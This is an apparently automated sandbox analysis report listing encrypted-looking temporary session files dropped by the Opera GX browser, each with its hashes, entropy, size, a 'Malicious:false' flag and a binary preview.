                                                                                                                                                                                                              Preview:........X14hPxW1Y63zgrs5chda2fFQ7u137FfM3yGUIX6P/DXw=........2.......s.....v.(.......)L..<W..VA..EO ...6u.e.Z-v-......:..G...D.#YI....J.RC|.t'.'.P.l......8..?......`......Tq.27%.....V7.*....!Oj..^p.BI..].r.....J..l..ELs.Z.~..@.....H'B......q.....Z.\W.D.R.t.E^4.6.*I....Z.x.X.....9.W..0..I@....B.. ..#F...z....j&.i/%.f....r..@.US.^...)..3.g.R..|.u......Z..6.c.jaX.,.:.l...q.g#$..V1..(..!(.........N....Rf_...a...5..JF.>.l.:......O.b..dpd._<.!.0.].0_.'.,].~yp...M.P..y.>...1..C.H...*i....@..Z.'.V.......J...,.../@Gj.:.w.I.........{.+K.cH.......i.3.%..U.4.X...-K...A.w....^..$.J.}IK~W..`...j{j..e.(..R.09ic...<pK).`&h.N\..Q..,u.~L......x.5x.....P..IZ....n.......9....H.F.......Y?a@:..oI.^_...B.=.....E.!...(mM]......{.f&{..b.A.M....R.......n..w.. ..9.v]..<..|...9r.b...I.Qb.......:.Jso].].C.........QS=.<aRb.xU.P.y.A.......1.R.s....H.&.m..fk......^g`..by..KO.:..Qz|.zHZ.;..T.|..'G.."P.W..F......|...NmC.S.>.#...........<Y..,...]}.'q.s.MG...FA.....e.'<E~K...

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\a515e64f-d108-4fe0-a235-a58ecc289d07.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):7581
                                                                                                                                                                                                              Entropy (8bit):7.978188218794001
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:75DA0870FD592756A711E28B9532311C
                                                                                                                                                                                                              SHA1:219E3B254FE48DC4F233CF7CDDD2CD59B9562001
                                                                                                                                                                                                              SHA-256:1B1736CD3C5BCE28DE43AB8302443714D7750FCC53CCF858E38403385BA711C2
                                                                                                                                                                                                              SHA-512:97AFAE90AA337FAE89E90FF13E47B3E3FCAF703208A6268A927B68F30F14A9CF0113470A2278254354453B057A240931A089CEFDC47C5A63E041C8BCFFE7215F
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XeLIhzQERkpchLqnqVKP04uiaKbRjEklCbaMFzlyPml8=.....u..5..h*.F..:.,...6.......i?.@.X.:tp3....."..dE.\...V...$m*.......U..ee.....E.A..u%T...U..D...........w......o@. /.?.A.....69c.....4.].....VW.1.D...4.I..{&vO...1..e.....,#YQC.1U.K....a`.> ..].m,).N.....!2g.<..&.+z.. .?ze..J1Y......K.Q...DL...p..N..hg+i.. ..>....n..".]o...G.+.Lw.#m.c...~N..{..{I~...M..........>..Q..V.F.E#..K^/...\d..3n.......].6...[<.-...F#...y.....U......,..NPKZl7.#.V%..k...!..N...I.+..f[WY..$L..oV`>....V/tB..<........tT.x...{,..4 ...d..y.".-Wk...;.v".....)...rVc&VxK.n....a...t..8.s.FKt...?\y^..N.ec........`c.'a._.Taa..Qu.)....j.9.Y.&.C...f5}. ...C?..)...I.!....G.....&.1.@...YWWz{.c....as..j.$.........w.3q."........U...!..d.........O....9q.....d..*...Q..e+.U..].......g9.Z.=..N.~..m.U...Fjo/..C]........I,...R.....E.P.@.B.....6.F..H/..ZBF...W-.{&{..u./..\..`....O...R..ay....>..~t2....oy+\.o&....6.......8g.7?t......f..F.#E. @.y.*q}....Q..a.....hc..F...0.....f.s~i

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\a7ca29b8-70e0-476e-aacb-95cce3a3d7c2.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8382
                                                                                                                                                                                                              Entropy (8bit):7.975687282064052
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:C7DDAE499A6DCA64C4C9B8151E93203D
                                                                                                                                                                                                              SHA1:0DB9447B615022B4348FFD8A9BD48E597D915CE9
                                                                                                                                                                                                              SHA-256:C063AE6BEAF7D13A129EDC61434AABB2A37AC6636F3146F0EBB2EBC3C3FA5EE0
                                                                                                                                                                                                              SHA-512:F961C5ACE44DFC20BF16D654FAA3C0F138C9F3A1DF371098F70DED501AE2ADEFA6CFA3EAC23BD97F5CA559BD3CC4B4823DD67DE291AECE068F3B442DA5BE913A
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XsOMt6VOcFhgxXC2/0A/HQaeUBXTGnoa1CMZNFmphWKs=.......Vr..T..f0l{ ....#(....NF)v~..M......Y7;.).(...F>..HG~Y......i.>..z/..2.0.A..t~..).W...3m......R...C...?ycq."#...."..N....h\....l..I...%..@....K...[...l*.7.h19`....6.u.|*.&s.sH.....&]....V....a.....V .IQ.J...N.G.J.F.V6q..C....9....T.>p..G.u..7/.+....}v3.F....R...2..+9}..Ge..f$s.J....L.QZ.K...h...3x*.h.u>..mi...y....].e..l.t..r.+j.Bi^..1..6..../.vw.Q.ytf....7..f.g...:.....Ja.bO......g...S....X....<.Q.A...9a=V1.K5.~.[..|!`.Z..P.v..'...7kJI.ZD.,....G.<.#{.E...!Fz>./V....V......V.U..B..,......&s217......cd...?q.D...............A6.......:.1...]._..wf|=..:..U.E......Jl..rV.2m.H8.o.....R....p.......k&......#......JA..I.....<2..5...|...J....$...#..rb.....e..d. ..90..#M.s...O.!..c..FrH...FA-%....$.l..0.CT..!UZs:_!...=...k^:...H..42...>.'...jp..IrN.6.......,.&...(.o.....I......x...]...@}..%6..tD.N{.......5..7.C.:..v..G....M61g.m..5.,.^..+6r.v...E...".y..1q...pR~JG s~L..Tn...C|~.A......C..9V...i..J...

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\a8441daa-f4e4-4651-9f82-006c65de4db6.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8221
                                                                                                                                                                                                              Entropy (8bit):7.979039639477154
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:464255EA2B4C87E4DAF14E659D602493
                                                                                                                                                                                                              SHA1:1039C47759B66332B0A5B9FD2E9C6B3F584D71D3
                                                                                                                                                                                                              SHA-256:946A8D8D65636EB9622C1909901D5B0E71E7C5E067A3027FBDEB14C62FE11079
                                                                                                                                                                                                              SHA-512:1BA308B4DE3044B26EEF190B1DAC830E25B873261CFBFD192BC9511131F0403A12254934459C2A160AF8A92C02A2ADC69F54F4D928AF90A7946F832E15D6322D
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........Xn30htdh3HNn792SXaZj7xMl3X2MRIzloYPF49AdeV7k=...............f..h..o.....#.M._...k......\U.......Z_=}x..........-..x....z..G.d.J...>x.9.i.J..-...4..r...!...J.../...m.Z...`.%.hq..e..'..0..$m2I..N../d.].9....a.zx.j.T$.R.......e.\.H..3o;4..SMB.,..G<G...v&Af.hk%:..c......@V..b..7!.Z....(./pR.T.X./%.RNh.@f..............U.S@.n..*..f..~i%..h .L..L~.l.(_.D..`.M..uk2....bn.....#....RyF.p(.....)..[T..2........Pw...e..4k..g.ry..}7...|..SW.p...>(...h..,..w.u./...;.s.C....n.2Y...3..*x3\.:..0O.G.<.M...4.0.|....HQA.1"+....?.w..gh.`..N/8Z.\.54....p..,Nk.J.?v....8..&2...CN.....Q.....`..|..J...w.9..w.n.e:D).....{..{9.....R..}..l.8s........F...T w/G|...=.....;~..>.)m`.t..@Y_...-=B.$..I...F...R.q.V....]..@.S.......0a'...>..'.I.9...D.H(...h.NX..W.....5.....$.f......fE."<M..u...90..".-..k.+.yC...v"5j.".:.,.9...$9...z..Qt&vp.....c..T.Y..3.~@....{.......;U~y..._y./.;..]M...I.8......H..ZSi!;.%..D^........_b..C....{.x.wy ..3.MGe.3.....,..#.....yQE(.z.6

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\a8f11104-5381-4f21-9523-3080b0ae54fc.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9422
                                                                                                                                                                                                              Entropy (8bit):7.9821344847971645
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:4E2BDD89F224FDA41445711B275D0E29
                                                                                                                                                                                                              SHA1:BFBBC6E09BB6188A527E12AEE963D5BA88916714
                                                                                                                                                                                                              SHA-256:4E6BD9A30E80FF37BBEF67E9193B886972938A4337F092E87C5B53FBFED24660
                                                                                                                                                                                                              SHA-512:1BAC3EA1411A3C52087329D8A5D74459266B8901E29902E8540986D5463F9DDF5ED3B4A0E1B9F5FBCC14E5BC1ACCF4022E7C99D8B43CB858F75CD3C0A03899AF
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X20EbF78kSx3mMv6f8uwEN7PzvTiy40cI5sK5cBOjtzU=.........h..5..#..q..d.O...W;...|...7&..G........(.l..@.K..r..I...B.....6g*.tf.O.%k..k.u.E-......!.m.......=.....`Z.[C...!L....BA.xg../B.%Q.#FV....6.j..~J.]"\...........^.}w....|).?4,../. S.mL..v.B..D..Z./....8.....Rg..).....i..f.}.4..1U5... .....2*....|+..nY.f|....u..(...F..v.Wb.....G..F....U`.Q...1:.L"...4m.Z..E7wiH.q..:..pW.^.1s.........1....N.3.j... ~...h....5..cY...E..Sm...6m....v..6Rg)Q'...QW.p..$..;..=t..5...X.I4...*..h....A...N../.o...M.d.....~.... .....1,..{)......EH.J.].*..o.H.R.C...3......E..,....[...I7A...E.O#&.PO.`..0.../..Q.3.$.x!...x.......F..r..:....b..Q.A..^..>.A.p/X0q..M...K...Kd`.We..#Kp.r..W_Z..o{...2s+.u.....P{.i...c.:h.7..1>4.p9.}d...k...`3u../.....jW.j}W..,_.V..u..a'E....h. T.h..V.Y.(c.J.%:.....t.....Y,g$g...V*..p.8...>.6U.......A......n.1............n?......`$.}....;}.....l<..H....+2.....4.{..=w...)rl...!..y......KE..._.c{.y.....*.7....Z...Rf\2.X.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\a9d2d300-f9bd-4ced-8df5-f95807096008.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1533
                                                                                                                                                                                                              Entropy (8bit):7.8570697583278335
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:D522C944F7FDDC662924718BA2C5BAE3
                                                                                                                                                                                                              SHA1:2633BE718F69E3DE488F407A1580F3B3C95359B3
                                                                                                                                                                                                              SHA-256:1BAB5CE5BC32A1E5EACDBA02958800F4EA069CE30AB9545DDBCB14FE193A4144
                                                                                                                                                                                                              SHA-512:85F4EE7F5F0625FF369F6266F41E5C51A412A91C07F7F6B9A9ABF2B26CA16B5077EE7F3B1B4C1949BDC79DADAE3C9C7D1D77B54656DDBBF7D6631E6B365B0E1A
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X7bh0grICSchDJDCGJWL2TRINMmdUfkIT6/Z078hKMzc=........L..c.......k...c........Y@|Dw.u......].S?.".W-F..pr.+.c,l.{3G.c.Ey.4..=n...6v.,c}.)..I...,.q..B.$.....A#..U..Z8......"N..On.Tn%.5dd<%:.[U.%..u..]...0D.7.v.:<.BB2C'..>.X0UI.(..\Z...V........F.4.%?...R?#...eQvt4..,........X.$...j_.V#....`..bM..].TBi.^..)l,...xh'l.....C..9....p...J>.L.....'0..P...=9.....t.nr|.o. n..;.5.|5.i(m4($..~./l.5|&U..U]2[<...G.5..!E.....j/)...JP..a..K..u.x..ot`[/.m..S...ngi.&Y}..a...3...fy...|p._J..)u.=...4.|&...G\...4R/6...5.r.z..rg,Y...tNQ.$A0.V.....`V.......N.v..I.^L.c.o2...S....'$\3^.5..0....@g..&........1k.m...%....'@.6.....^.....y.U~.".....d<....j..6.......n..!./.h)..$.sV .....g;0....1.@.<#..X.P.2....!-....U...$A...b}.(...a.U^.....C.>NZ(.....N@x'...}!pg...!6....(.J..E..L.....K.2.'S..>B........o...(.38L...0..{6.y.C.I..._........ ....h.O.%]S#-.\..#P...$..c...C.....9i..#u.gL...^....o]..!.....u;....w.$q....#..v.x......*Q........\..R...].~j.4M.%.Au......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\ad5ca1f4-27d0-490a-aa77-234a8d59b078.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2493
                                                                                                                                                                                                              Entropy (8bit):7.918784846701932
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:4FB6B0A4CB0AA50B7F1312A9579B0742
                                                                                                                                                                                                              SHA1:9C4EF9A0BA2AB5705C4D03F44BAA41CFCA0FA45B
                                                                                                                                                                                                              SHA-256:713727BA5971D81D86D421CE8F47D6649A7967F572A0748D91DB18AED2051F13
                                                                                                                                                                                                              SHA-512:94DB423593F503B46CEF9C3CA36C7C1CACC3567723879F7696C6CF46D43B6B69A0A54B1F38E253E44460BA74176D0CC255836C09B55314D24B5ACA34764403D0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XcjU0aPPyTyDX3c24FU+sHYQXYvQ0h26q63tLo/zXkGE=.....&.#T..BW.a.qT....N\(FB(5..=..r9.{.%...d.^.P..5...T...8.~..].>.o..L.i8..v.-..\.M....|.[...T^...)Y!)...q.A.......<..<.p5]...+(..]h...vO..]B+.nF....[a..E..v.".-v..6.....r.D2....6.Hec.....59.:.i..y..w..N..~.._.....r..B......k..~...C+....d:.O.h....vb.rGv.z.#..l.b)PM.+3.'..f.v<#...r.K......./.)..g.5.u...t*.pk...zCm.L'.u......boMB....E3e. ...tt........{.....'..1vn,t.......x........_...C.8.tu....^E.P..-4*.:..lW.L'.m3YM......W.=.{..G....'.....xt..afa.t!...x....Il.z...TD.d.....T.'.-..J_..\.a!..7&.`..3q...sX2dg...B.o#..v........+8.J.i..GVF.....s,.<.k.....L]..-...B..!b..M.F.c...1}..q..]/..x4...+M...{.o.;r3........&I33J__m...-..~...Q-.O..8ICB....b..:.wZq.e.x.e.j[....v..r.(......v<..=..^..Uj.....7.:...gv...2.g.w.\..^.S..Z..E....[.....l....+>..7."."..&h....iI.7......W..{....T!.....E5:...j.<<]...t.,*.v.. ......Syz../...$/...A..ns...l4;..oI..0..R.\h.....O(....i.Y.qg.....V7>'2.F.Yz.G.I..\.o.....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\aea55d1b-e5e3-4c83-b605-12731bf1f679.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.983079578542285
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:882A7A67ADF252B170836485404B22EA
                                                                                                                                                                                                              SHA1:55A15435CDD6852EE7FC560A1A0A76EAB3EDAFA7
                                                                                                                                                                                                              SHA-256:1E1ACBBD8792D49D71080F38009408CDDA684DE72BB3438BE13B8B5AAC66A94C
                                                                                                                                                                                                              SHA-512:5D40EFEE09CE69822FF5D0D560FF806F6D384CF1013C39868D7CC90ACF3C77E39F6CB864E4B3C7A9B2DD68BDF0FC0F6C60E1E0A3346D81BF796DAC3282D37008
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlmAxmfd6ESJF6Grs4XdIzGsgUCGigwOdwGYH5/908xY=........+O........,6....7.C...\.L....r..~..F.!..;s%.....9..].c.{.k..k..p.....N.h.7.!..!-..<OV........S3....]...T...0...r_...m...e-J..`7..g&]..QA..ft.r.IYc..i.P0..u..;SAQ.9P.%.c_...t....lB.w....".....|u.&h3.....=.1..,....I`....].@c....1.. ...!'..Y....MR..<H..Q.TK.`.\.s.}3.8........m.z.S.j,..|..9..Z.$.)_.)....{...._.{.hOMm.<...x........Q+`.G.iG..?.1.sg.M!....=..}.......i....)..s.p.s.4`....Z.}...t;....hna...T&.B97&vL.'..$.+8.f..J...{.....)G..9.iB...vH[.8.Yu...@6.....|XQ...(.HY?.../......i..\}..2y...(O..]2..s..............vAn@g.K.;Z......A.j5.x... l9....D.._%{...^lq....m.V...v.....lG{.Z...%.W.Q..d.7..1Gw.......v8pZ*W<...m...l_.....n... ........a...L...{M.n...:.h9........'D]..O.06>.p.I....a.D%...E...Mx.~CRr..w...}c.Z..b...b.'._.n.t..5.w....U.2F.:D...o..P..\...ID?g....A..#...-A.~.....h.Q.Z......E..,.....m4.X.....,d......cC.)..<Ct.d..[2...\......b..............-y......l.?...+..r.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\af1dd01b-0406-42db-a200-b18941d02569.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.982519845029824
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:ADBE69A73890571D79829F08C00E6F37
                                                                                                                                                                                                              SHA1:DB7211CD283FA54746EB76653B810DC89C759161
                                                                                                                                                                                                              SHA-256:CC315F88A1F9C6BC1468EEF0E635A777C485A6ED0A9AC55A12F3B8338096DE4C
                                                                                                                                                                                                              SHA-512:87ED439F4EAAE66C4262B5144BA701AB0BFC61C38122E57C79F5AA7EAF90AC7B18BCD981AEDB984661DF0788969C1D24F71B480536B74776293610FA75114438
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XGuDBmyt3dbgHq2dtM0KbCAjuHqtX8ICu/LY9vOOTczg=........o....K....>G.j...X ...pc.:....u...Ty...<1.M.~.M..;...._D..^.A.[.|..7...dx=x,.&.1r.....(../.Y..r...qp!+......e ..F..wa>../.v..E.....x.&3.,+..x....j....tK............~5.,..p.@.Bi.......I......n0.i.Ya.4....O..........a.5\9.......w;+..B.v.h;.\....9. W,'.}....J..w......4.4.i..D.y..COI.~=.!......"d..|R....$}}..8b.}...n.>..)[?[0".i...0.b.$&.}$..!......;......0..8il....(.1...[.Y@...L.$.d....{..w:.$A.....H5..u.9.3.e@.-5WL..r.7~`.....2.y........m=...w.E.v..{..;.ksQ..a....ov.M..........p../>.}..{[..t.yi.]r9....Gp..J...gc...bg.y.../..[V#y.|H..v..l.^D.>4aGv....Y.....l.I.SiR.RH.\B.;./`....'....&......{.0.bn"............'...".$....7.u?..}.d...Z......(..>.U...2.B-......Kq...Ur...I_.L.>......R..m...VAN.{....3..0.@....Y+..."M.T.&....b#.w\..}?........L.y.s..~r..7(...@.A........Z.U.6-..b..M+......#.Y.O.X9A........W......l...<M#@Wc...g.....![.w....p..s6...d....C.|4.Y.j.!...{..q5&iT,I...n.2..J@@../

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\b01a1a93-9799-4f20-9391-c263ae1b8024.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):7293
                                                                                                                                                                                                              Entropy (8bit):7.971890898070491
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:DCBBD44B75D8325331D65E6A9662C34E
                                                                                                                                                                                                              SHA1:0164E49A79824DCD7D4CCE619140082972ADFB1F
                                                                                                                                                                                                              SHA-256:CCE32FEFF8EB7A5FE9D9E74FF4FC780CAECD02CFD479A17CB8F4CBC0C7C4C501
                                                                                                                                                                                                              SHA-512:EC6DC8B0C5C1B49DCD363A3DFCBCC13C81A8F889F03F8792ACF8ADAFD7F7697EB88B604AB8C709675BEBE6C4920F9B982468D43D373ACEBABB10E78A33C650C0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X6x/qj1hwPVeVIvuWLmpxQ7F33W/zxwbI0kT15z75Btg=.....q..E..H...P......3y[\v.~.=_../...N.?.......m<....+{...T8U....8..d..fqH7...L..J.k..`~N...v...V.,.t..;..x.....O....$.x)jx-.G...U1..|...{?...Vr..]..;wD%........4...U.r...s.......3J...2....=\K/s.K...RKV~...o..f..hj......`..qa.'j...Gls:...(@.JQ..d..........m.L2,.l.{6.....e;..I....ng.[j..9$.R.....Z$/....pv.w.o...........)Ls...8.5..../T..GYD..0.l8..u..1LgW~..:.......[.....\....c9...U..h ..+...a.{.....U.O..SR..ovN..:..o....<&A..3..k......\..|.x8m.w..._....p.f'...D..NY.k.^...U......c.....Z]W.9!.....E.ORc...b...].u.x%..l.{.....N...Sy.2v/3wOrGx......f.[./..8dv...$._..Z.(.....(.3|...=.4iJ..l5...".'........&<..\..S.V.=.I83....}.'.j...)..63.L.0z....;.....{..b..jG..ZH..o........#U.n..p...w.Y+...pP..X...p...A......3].+.i..p..x.q$I.e..|..nuL..1....u.*v..)<..2..D....c..1.$he.B.$uVB.m!.A.1.z.........)....0-....l.j.....'y.CI..g....@.Q.......Un........Eb...ShT.WpJ.......#`..s 6.i.....f..);N.....G.M

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\b0a38c94-9160-4fbe-b644-1645596c28b9.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):7533
                                                                                                                                                                                                              Entropy (8bit):7.97477153327832
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:3285DD6FFD30038048E7BC16539F5387
                                                                                                                                                                                                              SHA1:31B53B4710A3D4B41EE4D0E2473B3595D85E5958
                                                                                                                                                                                                              SHA-256:BF4D107684EC0213241B6A3C14623FA89B91E13305D363E1AF401FB9072DFBF2
                                                                                                                                                                                                              SHA-512:F52F8FBA6217E8017D128086CAB2A3A7944BF3644BF8EC815B6C9228690D6FFE8DFC7081EE09CA064906444F1166BB99366709C514AEA47014250B27C4CA77E6
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........Xf5PDbcidw7r0e2+UlURgVlD2v/O6/OHDGC2ibVZGfZk=.....tqB0h..:yH0..3xz...........w.$G&/*..Q.W...s...M.g..a_..yw..Y,1.[2...?X..Jo.u.w..LRJ....|..}C...T[........,D.e...K.......}.o7..aP....6..yE..".H.G..r5Q..........j?N....(.R.D..A....%M...E.......eq.\.6~#.2....e...h....-......`.Z..wg...%>.W7h.Y .P...wn.......=...Z...1.@....^&/.8....7..%.7....x.8....../^......n..W..:....u..%......?....W._6m..Av.P..r.<5.UT.L.u..h...*I_..ax..:....i..3..a...S._...9ME.....U&.?h#........$.8.........;<.zw..~...Z.VO....H..V3.s.U..8.............z..Z+l.R;.z..._.r.G....'.FV/..p...e.B`.......u..3.O..8....v.....:Y...q.rf\._.m.."..NDn.g/>$.C.g..-..v...'7....;I".k..q..#...Q'.\8.....T...n..G;.^L...'...k...k.z.3.".<S;..p......t.b[..n_jiq..i.M.2W..|.?@.N..l.b._%;......^....../........{..^.i.[..U.K.;..*D0..O....D....N/..6...G.oC.@tK......ZJ...q.....+.uV9.......)..%Tlk.g..$_W1..b..$M.K(..w.....e..........2uo...h.-.@.o.Aw...g.....f.s...9...^N.A.:..Q.h^.q...y].._..5.PI.r0......#..i.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\b0d1186f-f903-414a-b86f-1a841783942c.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):7005
                                                                                                                                                                                                              Entropy (8bit):7.973009771870453
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:2E96B7525ED182F6066593869ABF087C
                                                                                                                                                                                                              SHA1:6201063346A74543FA4D9429BA5CE12F8E95BFA2
                                                                                                                                                                                                              SHA-256:29B52ADA8DB1A37328D1E268F38D2543E9ADC18E661339B6002B8AAA9B41B05A
                                                                                                                                                                                                              SHA-512:7969E3BD2FADDEFD9FC54473D595D3A5B75B17C7437DE4CC6EC5877BDB4E063F65F7C302F222A922631D6AA6AD7C0D8C555006D4F06913798C058B4B03C66EA2
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........Xm6LB+/6SdhYJdYTXfWnUOmyfZGeoL6FD6CyU+ysHFaw=.....lr..Z*...}..f..s;A..>#.H....A$..1..._...rA...0............ ..;....7..9.(E..m.9....8h.l.BiH.....V..!../.......;.z.jT..]..I5..".Wz.Mf...Wm>g...Z.......~.4;.)m..G..b...?\P1...%.vcn....7.7....!......z..4....0.~.K...w_.]3.....h.}..G.$..LX.....G]..Bi....q#..2..("g.~...$|....x.=..W.&....*d.uX.......fY......H...2I\....0.!{..p.0.F.I&B.WNQ....d.@q{.*T.pK.......QrF...f...+.!...u.]>.;q;.'....B..1X....A....n.....U..;..k6...z....S.s6j....H....fCi...>.Pz../i....@J 9.g.[.C.K.3.ReW.q..9...s...3../....Q.P..."u.O....0..j.6%....+....\.'.g.^r.V......1...8T..c..U.q=.(...M.0.+t.44....Xr...$..).K,.CB.\Ca.r..*`...b......o.FzX..J...F....z.[d.LXd.$...Pyx..Lc?........F.......v1..;...\4...dw+.I\Q....9..?.|..Y"!.P....^W....j.mS.....r....k.H4S.=....g.6.E.y.Z@.M.T.)".)=..P!*?....&...d........^.|t-..|."..C|.P..#.F.......zi.R.U..[_&...Z.I.9...Y.].~O..Sd).......c..y^q7.83.....!,.S..f..oQ.-..z.$..r.GxV.c;..}o..f/.uWx........ .ds.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\b2ef0dfa-7b68-48da-84e4-9dd5d453e5ba.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9422
                                                                                                                                                                                                              Entropy (8bit):7.981269255115314
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:9AE46D8DB6F3BFB49C396564FC0CBD0F
                                                                                                                                                                                                              SHA1:84B6E9DB9E8230B0DE52D7193EC9B4F22FCA3DEA
                                                                                                                                                                                                              SHA-256:3CE7C255173C0D1FFCACB41BA479D1BF82F49B4367F466F928939BFAB21E011B
                                                                                                                                                                                                              SHA-512:D7F54BB8E8D53D1A70485D8E69EEE4F2EA4626843330A2AF5A96957B3A3ABC6A3BC3BE406878D14B3B3FC491F1C15AE719C2540FB1A8385256DC0EDCD30C4524
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
